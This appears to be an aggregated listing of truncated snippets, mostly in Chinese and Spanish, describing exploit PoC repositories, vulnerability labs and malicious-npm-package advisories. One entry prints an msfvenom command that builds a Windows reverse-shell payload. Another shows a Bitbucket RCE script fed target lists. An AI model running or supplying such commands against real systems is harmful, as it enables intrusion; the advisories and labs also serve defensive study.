CVE-2024-31982

CVE-2024-31982 CVEHunter 工具，用于 CVE-2024-31982 的漏洞检测与利用工具 安装 root@kitploit: git clone https://github.com/th3gokul/CVE-2024-31982.git cd CVE-2024-31982 pip install -r requirements.txt python3 cvehunter.py --help 使用 root@kitploit: python3 cvehunter.py -h / |\ \ / /| || | | | | | | | \ \ / / | | | ||...

ppsx-file-generator

介绍 作者：Temesgen Yibeltal [email protected]（基于 https://github.com/bhdresh/CVE-2017-8570 的代码，该仓库现已删除） ppsx-file-generator 是一个 Python 工具，它基于现有文件生成一个能够从远程源执行代码的 PowerPoint 幻灯片文件。 它有什么作用？ 该工具根据用户提供的输入生成一个 PowerPoint 幻灯片文件和一个 XML 文件。PowerPoint 文件会访问包含载荷文件信息的 XML 文件。攻击者可以将 XML...

erlvulnscan

基于Web的并发扫描器，用于CVE-2015-1635。 此处运行实际实现。此演示网站用于该项目的开发，其稳定性不保证。 关于此项目的信息在此处编写。由于其中记录的“待办事项”列表已完成，该代码现已处于稳定状态。 代码文档可在此处找到。 开发与部署 克隆仓库 root@kitploit: git clone https://github.com/technion/erlvulnscan.git 获取依赖 root@kitploit: ./rebar3 get-deps 编译 root@kitploit: ./rebar3 compile 静态分析 root@kitploit:...

CVE-2020-8559

Kubernetes CVE-2020-8559 Exploit de Prueba de Concepto PoC Esto es solo para fines de demostración. Solo para usar en sistemas sobre los que estás autorizado a realizar acciones administrativas y en los que estás autorizado a explotar CVE-2020-8559 Este es un PoC para CVE-2020-8559. Esta...

MAL-2026-16053 Malicious code in file-type-detector (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 04917bd7fc156dcb9793cb1f1d06ed0f2d0cb1b3aa4b04431dea54ed71f6be72 A clone of file-type-checker with one function added: isSignname, moduleName, offset in dist/validation/image.js reads public/$name.png from the...

Malicious code in file-type-detector (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 04917bd7fc156dcb9793cb1f1d06ed0f2d0cb1b3aa4b04431dea54ed71f6be72 A clone of file-type-checker with one function added: isSignname, moduleName, offset in dist/validation/image.js reads public/$name.png from the...

horrors-log4shell

horrors-log4shell 一个用于 CVE-2021-44228 log4j 的微型实验室（演练场？） 可用于对多个目标执行载荷。 在运行时生成特定目标的载荷。 可调节的配置和绕过方法。 安装 Java相关要求 开发/运行示例 Gradle Maven 为了测试最近的log4j相关漏洞（CVE-2021-44228, CVE-2021-45046）： JDK 8u121 Ysoserial 编译后的 JAR https://github.com/frohoff/ysoserial 确保两边都有兼容的JDK。 Python 依赖 root@kitploit: % pip3...

SUSE CVE-2026-26307

Gitea versions before 1.25.5 do not enforce a timeout on git grep searches, allowing expensive searches to consume server resources...

CVE-2025-55182-Lab

CVE-2025-55182 实验环境 用于利用 CVE-2025-55182 React2Shell 的动手实验环境 — React 服务端组件中的远程代码执行。 ⚠️ 免责声明 仅用于教育目的。 仅在你拥有的系统上进行测试。 快速开始 root@kitploit: 克隆并启动 git clone https://github.com/dhananjayakumarn/CVE-2025-55182-Lab.git cd CVE-2025-55182-Lab docker-compose up -d 等待20秒，然后利用 python3 exploit.py...

CVE-2018-20250

Configuración Video demo: https://youtu.be/5tuWsi1tGS0 Máquina VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Pasos a seguir Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows:...

cve-2022-36804

Atlassian Bitbucket RCE PoC - CVE-2022-36804 此仓库包含 Atlassian Bitbucket 远程代码执行漏洞的简单 PoC 脚本。您可以通过以下命令直接运行此脚本： root@kitploit: echo 'bitbucket.redacted.com' | python3 cve-2022-36804.py 或者，您可以从其他工具（如 subfinder、sublist3r 或 go-dork 等）创建目标文件： root@kitploit: cat targets.txt | python3 cve-2022-36804.py 参考链...

cve-2019-5736-reproducer

CVE-2019-5736 reproductor Esto te permite confirmar que RunC-CVE-2019-5736 funciona en tu instancia KVM. Resumen del flujo de trabajo Construye los paquetes relacionados con docker.io vulnerables a CVE-2019-5736 en este repositorio Lanza una instancia KVM de Ubuntu 18.04 en LXD Instala los paquet...

CVE-2026-53937

MCP Kotlin SDK is the Kotlin Multiplatform software development kit for the Model Context Protocol. In versions 0.7.0 through 0.12.0, ReadBuffer.append in kotlin-sdk-core/src/commonMain/kotlin/io/modelcontextprotocol/kotlin/sdk/shared/ReadBuffer.kt writes every chunk of bytes received from the...

CVE-2023-0386_POC

Team CVE-MD 本仓库提供了CVE-2023-0386的概念验证： https://nvd.nist.gov/vuln/detail/CVE-2023-0386 团队成员：Bǎnicǎ Dragoș-Marius 和 Borsos Matheas-Roland 视频链接： https://www.youtube.com/watch?v=Ikux1rjIYP0 CVE-2023-0386 — Linux OverlayFS 本地权限提升（PoC） 概述 本仓库包含针对 CVE-2023-0386 的 概念验证（PoC）利用代码 ，该漏洞是 Linux 内核 OverlayFS...

MAL-2026-16055 Malicious code in sonmors (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 66e21634e32b7d24357ad667703da4ddeb42542ed9fc6a3ed28c7257d2e27fca Package sonmors ships a near-copy of the sonner React toast library and spoofs sonner's identity in package.json author Emil Kowalski , homepage...

Malicious code in sonmors (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 66e21634e32b7d24357ad667703da4ddeb42542ed9fc6a3ed28c7257d2e27fca Package sonmors ships a near-copy of the sonner React toast library and spoofs sonner's identity in package.json author Emil Kowalski , homepage...

cve-2025-29927-demo

cve-2025-29927-demo Next.js中再现授权绕过漏洞的演示。 关于该漏洞的详细信息，请参阅 Next.js漏洞CVE-2025-29927总结 。 漏洞复现方法 1. 克隆此仓库。 root@kitploit: git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git cd cve-2025-29927-demo git pull origin main 2. 启动服务器。 root@kitploit: npm install npm run dev 3. 使用 curl 等工具发送带有...

ghostlock-h8q

GhostLock CVE-2026-43499 para Galaxy Z Fold 8 h8q / Fold 8 Ultra q8q La mayor parte de este código se basa en el fork de @polygraphene del original. Se requirieron modificaciones importantes porque el primer paso principal select utilizado en la mayoría de las variantes publicadas del exploit no ...

honeypot-auditor

root@kitploit: .. | :: H-AUDITOR :: v0.9.0 :: "DIALING IN... CARRIER DETECTED" :: | |------------------------------------------------------------------------------| | "warez? nah. headers. we trade banners, not bins." | | "if it answers any password, it ain't production — it's a lure." | | "respe...

PT-2026-88955

GitPython before 3.1.60 fails to properly validate the git directory location, allowing attackers to impersonate the git directory using tracked files like gitdir, commondir, and HEAD. Attackers can execute arbitrary code by placing a malicious pre-commit hook in the tracked hooks directory that...